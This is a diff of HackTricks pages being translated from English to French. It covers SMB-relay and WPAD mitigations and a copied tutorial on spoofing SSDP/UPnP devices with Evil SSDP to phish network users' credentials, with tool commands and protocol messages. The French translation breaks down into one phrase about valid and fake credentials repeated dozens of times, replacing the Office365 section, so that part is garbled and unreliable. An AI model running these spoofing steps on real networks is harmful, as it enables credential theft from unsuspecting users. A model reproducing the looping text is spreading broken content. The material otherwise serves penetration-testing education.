utilisez le serveur DHCP de Microsoft, sélectionnez la plage pour laquelle vous souhaitez désactiver NBT-NS. Cliquez avec le bouton droit sur "Options de plage" et cliquez sur "Configurer les options". Dans l'exemple ci-dessous, la plage DHCP pour laquelle je veux désactiver NBT-NS est 192.168.1.100. ![](../../.gitbook/assets/3.jpg) -In the Scope Options window, navigate to the advanced tab, change the drop down window to “Microsoft Windows 2000 Options”: +Dans la fenêtre Options de plage, accédez à l'onglet Avancé, changez la fenêtre déroulante en "Options Microsoft Windows 2000" : ![](../../.gitbook/assets/4.jpg) -Select the option “001 Microsoft Disable Netbios Option” from the list and change its value to “0x2”, click Apply and then OK: +Sélectionnez l'option "001 Microsoft Disable Netbios Option" dans la liste et changez sa valeur en "0x2", cliquez sur Appliquer, puis sur OK : ![](../../.gitbook/assets/5.jpg) ### WPAD -To mitigate against the WPAD attack, you can add an entry for "wpad" in your DNS zone. Note that the DNS entry does not need to point to a valid WPAD server. As long as the queries are resolved, the attack will be prevented. +Pour atténuer l'attaque WPAD, vous pouvez ajouter une entrée pour "wpad" dans votre zone DNS. Notez que l'entrée DNS n'a pas besoin de pointer vers un serveur WPAD valide. Tant que les requêtes sont résolues, l'attaque sera empêchée. -### Multi-relay +### Multi-relais -1\. **Forcing SMB Signing on all local windows machines**. This setting will digitally sign each and every SMB session which forces both the client and server to verify the source of the packets before continuing. This setting is only enabled by default on Domain Controllers. The following articles from Microsoft detail these settings (which can be enabled through group policy), and how to implement them. +1\. **Forcer la signature SMB sur toutes les machines Windows locales**. Ce paramètre signera numériquement chaque session SMB, ce qui oblige le client et le serveur à vérifier la source des paquets avant de continuer. Ce paramètre n'est activé par défaut que sur les contrôleurs de domaine. Les articles suivants de Microsoft détaillent ces paramètres (qui peuvent être activés via la stratégie de groupe) et comment les mettre en œuvre. [https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/](https://blogs.technet.microsoft.com/josebda/2010/12/01/the-basics-of-smb-signing-covering-both-smb1-and-smb2/) [https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/microsoft-network-client-digitally-sign-communications-always) -2\. **Reviewing and ensuring that the users on the local network can only remotely login to machines in which it is necessary**. For example: Sally can only log in to Sally’s workstation. If an attacker were to intercept Sally’s SMB Auth session, they could not relay the session to any workstations, rendering this method useless. +2\. **Examiner et s'assurer que les utilisateurs du réseau local ne peuvent se connecter à distance qu'aux machines où c'est nécessaire**. Par exemple : Sally ne peut se connecter qu'à la station de travail de Sally. Si un attaquant interceptait la session d'authentification SMB de Sally, il ne pourrait pas relayer la session vers d'autres postes de travail, rendant cette méthode inutile. -3\. **Restrict NTLM Authentication on the local network as much as possible**. This attack cannot take advantage of Kerberos authentication, so by limiting the amount of NTLM that’s occurring, this attack can be greatly hindered. There is information from Microsoft on making this happen, but be warned.. If Kerberos authentication fails for whatever reason, it generally falls back onto NTLM. If you disable it entirely, your network might grind to a halt. +3\. **Restreindre autant que possible l'authentification NTLM sur le réseau local**. Cette attaque ne peut pas profiter de l'authentification Kerberos, donc en limitant la quantité de NTLM qui se produit, cette attaque peut être grandement entravée. Microsoft fournit des informations sur la façon de le faire, mais attention... Si l'authentification Kerberos échoue pour une raison quelconque, elle tombe généralement en panne sur NTLM. Si vous le désactivez complètement, votre réseau risque de se bloquer. -4\. **Prevent unauthorised users on your network**. An insider threat will likely not be utilising an SMB Relay attack, as they already have network credentials. By beefing up your physical security policies, preventing rogue devices on the network with ACLs and MAC Filtering, and ensuring proper network segmentation, you can greatly limit the threat of this attack being performed. +4\. **Empêcher les utilisateurs non autorisés sur votre réseau**. Une menace interne ne sera probablement pas en train d'utiliser une attaque SMB Relay, car elle dispose déjà de justificatifs de réseau. En renforçant vos politiques de sécurité physique, en empêchant les périphériques malveillants sur le réseau avec des ACL et un filtrage MAC, et en assurant une segmentation réseau appropriée, vous pouvez grandement limiter la menace de cette attaque. -## References +## Références * [**https://intrinium.com/smb-relay-attack-tutorial/**](https://intrinium.com/smb-relay-attack-tutorial/) * **Images from:**\ @@ -317,10 +297,10 @@ To mitigate against the WPAD attack, you can add an entry for "wpad" in your DNS ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md b/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md index 601c2370d..7c31acc4b 100644 --- a/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md +++ b/generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md @@ -1,37 +1,36 @@ -# Spoofing SSDP and UPnP Devices with EvilSSDP +# Le spoofing de SSDP et des dispositifs UPnP avec EvilSSDP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
-**This post was copied from** [**https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/**](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) +**Ce post a été copié depuis** [**https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/**](https://www.hackingarticles.in/evil-ssdp-spoofing-the-ssdp-and-upnp-devices/) ## **Introduction** -### **What is SSDP?** +### **Qu'est-ce que SSDP ?** -SSDP or Simple Service Discovery Protocol is a network protocol designed for **advertisement and discovery of network services**. It can work without any DHCP or DNS Configuration. It was designed to be used in residential or small office environments. It uses UDP as the underlying transport protocol on **port 1900**. It uses the HTTP method NOTIFY to announce the establishment or withdrawal of services to a multicast group. It is the basis of the discovery protocol UPnP. +SSDP ou Simple Service Discovery Protocol est un protocole de réseau conçu pour la **publicité et la découverte des services de réseau**. Il peut fonctionner sans aucune configuration DHCP ou DNS. Il a été conçu pour être utilisé dans des environnements résidentiels ou de petits bureaux. Il utilise UDP comme protocole de transport sous-jacent sur le **port 1900**. Il utilise la méthode HTTP NOTIFY pour annoncer l'établissement ou le retrait de services à un groupe multicast. C'est la base du protocole de découverte UPnP. -### **What are UPnP devices?** +### **Quels sont les dispositifs UPnP ?** -UPnP or Universal Plug and Play is a set of **networking protocols** that allows networked devices, such as personal computers, printers, Internet gateways, Wi-Fi access points, and mobile devices to **discover each other’s availability on the network** and establish network services for communications, data sharing, and entertainment. The UPnP architecture supports zero-configuration networking. A UPnP compatible device from any vendor can dynamically join a network, obtain an IP address, **announce its name, advertise or convey its capabilities** upon request, and learn about the presence and capabilities of other devices. +UPnP ou Universal Plug and Play est un ensemble de **protocoles de réseau** qui permettent aux dispositifs en réseau, tels que les ordinateurs personnels, les imprimantes, les passerelles Internet, les points d'accès Wi-Fi et les dispositifs mobiles de **découvrir la disponibilité de chacun sur le réseau** et d'établir des services de réseau pour les communications, le partage de données et de divertissement. L'architecture UPnP prend en charge le réseau de configuration zéro. Un dispositif compatible UPnP de n'importe quel fournisseur peut rejoindre dynamiquement un réseau, obtenir une adresse IP, **annoncer son nom, annoncer ou transmettre ses capacités** sur demande et apprendre la présence et les capacités d'autres dispositifs. -### **Flow** +### **Flux** -The **UPnP** stack consists of **six layers**: addressing, discovery, description, control, eventing, and presentation. +La pile **UPnP** se compose de **six couches** : adressage, découverte, description, contrôle, événement et présentation. -In the addressing layer, UPnP-enabled systems try to get an IP address through **DHCP**. If that isn’t possible, they’ll **self-assign an address** from the 169.254.0.0/16 range (RFC 3927), a process known as AutoIP. - -Next is the discovery layer, in which the system searches for other devices on the network using the **Simple Service Discovery Protocol** (SSDP). The two ways to discover devices are **actively** and **passively**. When using the **active** method, UPnP-capable devices **send a discovery message** (called an **M-SEARCH request**) to the multicast address **239.255.255.250 on UDP port 1900.** We call this request HTTPU (HTTP over UDP) because it contains a header similar to the HTTP header. The M-SEARCH request looks like this: +Dans la couche d'adressage, les systèmes compatibles UPnP essaient d'obtenir une adresse IP via **DHCP**. Si cela n'est pas possible, ils **s'assignent une adresse** de la plage 169.254.0.0/16 (RFC 3927), un processus connu sous le nom d'AutoIP. +Ensuite, vient la couche de découverte, dans laquelle le système recherche d'autres dispositifs sur le réseau en utilisant le **Simple Service Discovery Protocol** (SSDP). Les deux façons de découvrir les dispositifs sont **activement** et **passivement**. Lors de l'utilisation de la méthode **active**, les dispositifs compatibles UPnP **envoient un message de découverte** (appelé une **requête M-SEARCH**) à l'adresse multicast **239.255.255.250 sur le port UDP 1900.** Nous appelons cette requête HTTPU (HTTP sur UDP) car elle contient un en-tête similaire à l'en-tête HTTP. La requête M-SEARCH ressemble à ceci : ``` M-SEARCH * HTTP/1.1 ST: ssdp:all @@ -39,11 +38,9 @@ Next is the discovery layer, in which the system searches for other devices on t MAN: ssdp:discover HOST: 239.255.255.250:1900 ``` +Les systèmes UPnP qui écoutent cette demande doivent répondre avec un message unicast UDP qui annonce l'emplacement HTTP du fichier XML de description, qui répertorie les services pris en charge par le périphérique. -UPnP systems that listen for this request are expected to reply with a **UDP unicast message that announces the HTTP location of the description XML** file, which lists the device’s supported services. - -When using the **passive** **method** for discovering devices, UPnP-capable devices periodically announce their services on the network by sending a **NOTIFY message to the multicast address** 239.255.255.250 on UDP port 1900. This message, which follows, looks like the one sent as a response to the active discovery: - +Lors de l'utilisation de la méthode **passive** pour découvrir des périphériques, les périphériques compatibles UPnP annoncent périodiquement leurs services sur le réseau en envoyant un message **NOTIFY à l'adresse multicast** 239.255.255.250 sur le port UDP 1900. Ce message, qui suit, ressemble à celui envoyé en réponse à la découverte active: ``` NOTIFY * HTTP/1.1\r\n HOST: 239.255.255.250:1900\r\n @@ -52,11 +49,9 @@ When using the **passive** **method** for discovering devices, UPnP-capable devi SERVER: OpenWRT/18.06-SNAPSHOT UPnP/1.1 MiniUPnPd/2.1\r\n NT: urn:schemas-upnp-org:service:WANIPConnection:2 ``` +La description de chaque profil UPnP est référencée soit dans la valeur du champ LOCATION du message de réponse reçu lors de la découverte active, soit dans le message NOTIFY reçu lors de la découverte passive. -The description of every UPnP profile is referenced in either the LOCATION field value of the response message received during active discovery or the NOTIFY message received during passive discovery. - -The **control layer** is probably the most **important** one; it allows **clients to send commands** to the UPnP device using the URLs from the description file. They can do this using the Simple Object Access Protocol (**SOAP**), a messaging protocol that uses XML over HTTP. Devices send SOAP requests to the controlURL endpoint, described in the \ tag inside the description file. A \ tag looks like this: - +La couche de contrôle est probablement la plus importante; elle permet aux clients d'envoyer des commandes au dispositif UPnP en utilisant les URL du fichier de description. Ils peuvent le faire en utilisant le protocole SOAP (Simple Object Access Protocol), un protocole de messagerie qui utilise XML sur HTTP. Les dispositifs envoient des requêtes SOAP à l'endpoint controlURL, décrit dans la balise \ à l'intérieur du fichier de description. Une balise \ ressemble à ceci: ```xml urn:schemas-upnp-org:service:WANIPConnection:2 @@ -66,21 +61,19 @@ The **control layer** is probably the most **important** one; it allows **client /evt/IPConn ``` - ### **IGD - Internet Gateway Device** -**IGD** maps ports in network address translation (NAT) setups. IGD **allows** an application to dynamically **add a temporary port mapping on the router** for a certain time period (without needing the user to perform any manual step). +**IGD** cartographie les ports dans les configurations de traduction d'adresse réseau (NAT). IGD permet à une application d'ajouter dynamiquement une cartographie de port temporaire sur le routeur pour une certaine période de temps (sans que l'utilisateur n'ait besoin d'effectuer une étape manuelle). -Most devices **don’t** normally **accept** **SSDP** packets through the **WAN** **interface**, but some of them can still **accept IGD** commands through open SOAP control points. +La plupart des appareils n'acceptent normalement pas les paquets SSDP via l'interface WAN, mais certains d'entre eux peuvent encore accepter des commandes IGD via des points de contrôle SOAP ouverts. -In the **Umap tool section** you can find a way to exploit this vector. +Dans la section Outil Umap, vous pouvez trouver un moyen d'exploiter ce vecteur. -## **Tools** +## **Outils** ### **Miranda** -[**Miranda**](https://raw.githubusercontent.com/0x90/miranda-upnp/master/src/miranda.py) is a **python2** **UPnP** **client** that can be useful to **discover** UPnP services, get the **details** and **send commands** to them: - +[**Miranda**](https://raw.githubusercontent.com/0x90/miranda-upnp/master/src/miranda.py) est un client UPnP python2 qui peut être utile pour découvrir les services UPnP, obtenir les détails et envoyer des commandes à ces services : ``` upnp> msearch @@ -127,156 +120,125 @@ Device information: upnp> host send 0 WFADevice WFAWLANConfig PutMessage ``` - ### Umap -The tool [**umap**](https://github.com/0x90/upnp-arsenal/blob/master/umap-bypass.py) can help to **discover upnp commands** that are **available** from **WAN** interfaces even if those aren't advertised in those interfaces (this is because of buggy implementations). Note that if, for example, you are testing a router and you have access to it from both the internal network and the WAN interface, you should try to **enumerate all the services from the internal** network (using **miranda** for example) and then try to **call those services from the external** network. +L'outil [**umap**](https://github.com/0x90/upnp-arsenal/blob/master/umap-bypass.py) peut aider à **découvrir les commandes upnp** qui sont **disponibles** depuis les interfaces **WAN** même si elles ne sont pas annoncées dans ces interfaces (cela est dû à des implémentations défectueuses). Notez que si, par exemple, vous testez un routeur et que vous y avez accès à la fois depuis le réseau interne et l'interface WAN, vous devriez essayer d'**énumérer tous les services depuis le réseau interne** (en utilisant **miranda** par exemple) et ensuite essayer d'**appeler ces services depuis le réseau externe**. -### **Other UPnP Tools** +### **Autres outils UPnP** -Find in [**https://github.com/0x90/upnp-arsenal**](https://github.com/0x90/upnp-arsenal) more upnp tools +Trouvez sur [**https://github.com/0x90/upnp-arsenal**](https://github.com/0x90/upnp-arsenal) plus d'outils upnp. ### **Evil SSDP** -The Evil SSDP too was developed by [initstring](https://twitter.com/init\_string). This tool is hosted on the GitHub. We will be using the git clone command to clone all the contents of the git onto our attacker machine. The git clone command will create a directory with the same name as on GitHub. Since the tool is developed in Python version 3, we will have to use the python3 followed by the name of the .py file in order to run the program. Here we can see a basic help screen of the tool. - +L'outil Evil SSDP a été développé par [initstring](https://twitter.com/init\_string). Cet outil est hébergé sur GitHub. Nous allons utiliser la commande git clone pour cloner tout le contenu du git sur notre machine attaquante. La commande git clone créera un répertoire portant le même nom que sur GitHub. Étant donné que l'outil est développé en Python version 3, nous devrons utiliser python3 suivi du nom du fichier .py pour exécuter le programme. Ici, nous pouvons voir un écran d'aide de base de l'outil. ```bash git clone https://github.com/initstring/evil-ssdp.git cd evil-ssdp/ls python3 evil-ssdp.py --help ``` - ![](https://i0.wp.com/1.bp.blogspot.com/-O6lddDvxqts/Xkq5PHqeE\_I/AAAAAAAAisQ/FKOCxVwT9cMy54lLy0SsYcKoM5Q95K5mQCLcBGAsYHQ/s1600/1.png?w=687\&ssl=1) -In the cloned directory, we will find a directory named templates. It contains all the pre complied templates that can be used to phish the target user. +Dans le répertoire cloné, nous trouverons un répertoire nommé templates. Il contient tous les modèles pré-compilés qui peuvent être utilisés pour le phishing de l'utilisateur cible. ## **Spoofing Scanner SSDP** -Now, that we ran the tool without any issues, let’s use it to gain some sweet credentials. In this first Practical, we will be spoofing a Scanner as a reliable UPnP device. To begin, we will have to configure the template. +Maintenant que nous avons exécuté l'outil sans aucun problème, utilisons-le pour obtenir des informations d'identification. Dans cette première pratique, nous allons usurper un scanner en tant que périphérique UPnP fiable. Pour commencer, nous devrons configurer le modèle. -### **Template Configuration** +### **Configuration du modèle** -To use the tool, we will have to provide the network interface. Here, on our attacker machine, we have the “eth0” as our interface, you can find your interface using the “ifconfig” command. - -After providing the interface, we will use the “–template” parameter to pass a template that we found earlier in the templates directory. To spoof a scanner, we will be running the following command. As we can see that the tool has done its job and hosted multiple template files on our attacker machine at port 8888. We also have the SMB pointer hosted as well. +Pour utiliser l'outil, nous devrons fournir l'interface réseau. Ici, sur notre machine attaquante, nous avons "eth0" comme interface, vous pouvez trouver votre interface en utilisant la commande "ifconfig". +Après avoir fourni l'interface, nous utiliserons le paramètre "--template" pour passer un modèle que nous avons trouvé précédemment dans le répertoire des modèles. Pour usurper un scanner, nous exécuterons la commande suivante. Comme nous pouvons le voir, l'outil a fait son travail et a hébergé plusieurs fichiers de modèle sur notre machine attaquante au port 8888. Nous avons également le pointeur SMB hébergé. ```bash ls temlates/ python3 evil-ssdp.py eth0 --template scanner ``` - ![](https://i0.wp.com/1.bp.blogspot.com/-kg05jQ03Fnw/Xkq5Qing\_qI/AAAAAAAAisk/GYK8MuCKqKUalqh3DHGWVRoyDlAQaxUrwCLcBGAsYHQ/s1600/2.png?w=687\&ssl=1) -### **Manipulating User** +### **Manipulation de l'utilisateur** -The next logical step is to manipulate the user to click on the application. Being on the same network as the target will show our fake scanner on its explorer. This is where the UPnP is in works. The Evil SSDP tool creates this genuine-looking scanner on the system on the target without any kind of forced interaction with the target. +La prochaine étape logique consiste à manipuler l'utilisateur pour qu'il clique sur l'application. Étant sur le même réseau que la cible, notre faux scanner apparaîtra sur son explorateur. C'est là que UPnP entre en jeu. L'outil Evil SSDP crée ce scanner authentique sur le système de la cible sans aucune interaction forcée avec celle-ci. ![](https://i1.wp.com/1.bp.blogspot.com/-\_05xXp10Buk/Xkq5Qz4yosI/AAAAAAAAiso/HdHr0qJ59rkR2ur\_UYcrHMdf93uqMhXUwCLcBGAsYHQ/s1600/3.png?w=687\&ssl=1) -Upon clicking the icon inside the Explorer, we will be redirected to the default Web Browser, opening our hosted link. The templates that we used are in play here. The user is now aware he/she is indeed connected to a genuine scanner or a fake UPnP device that we generated. Unaware target having no clue enters the valid credentials on this template as shown in the image given below. - -![](https://i2.wp.com/1.bp.blogspot.com/-lp2DBNRl12A/Xkq5RBtGvgI/AAAAAAAAiss/G9jSOVdBO4wnRKixpXlbj6BJeCTBWz7cACLcBGAsYHQ/s1600/4.png?w=687\&ssl=1) - -### **Grabbing the Credentials** - -As soon as the target user enters the credentials, we check our terminal on the attacker machine to find that we have the credentials entered by the user. As there is no conversation required for each target device, our fake scanner is visible to each and every user in the network. This means the scope of this kind of attack is limitless. - -![](https://i1.wp.com/1.bp.blogspot.com/-RAI02igc4F4/Xkq5RSJ3j2I/AAAAAAAAisw/p47jd\_jyyAE3RQIpms6nd-TzsPygD4CXQCLcBGAsYHQ/s1600/5.png?w=687\&ssl=1) - -## **Spoofing Office365 SSDP** - -In the previous practical, we spoofed the scanner to the target user. Now, ongoing through the template directory, we found the Office365 template. Let’s use it. - -### **Template Configuration** - -As we did previously, let’s begin with the configuration of the template as well as the tool. We are going to use the python3 to run the tool followed by the name of the python file. Then providing the network interface which indeed will be followed by the template parameter with the office365. - +En cliquant sur l'icône à l'intérieur de l'Explorateur, nous serons redirigés vers le navigateur Web par défaut, ouvrant notre lien hébergé. Les modèles que nous avons utilisés sont en jeu ici. L'utilisateur est maintenant conscient qu'il/elle est effectivement connecté à un scanner authentique ou à un faux dispositif UPnP que nous avons généré. La cible inconsciente n'ayant aucune idée entre les valides et les faux identifiants entre lesquels choisir, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides et les informations de connexion fausses, entre les informations de connexion valides 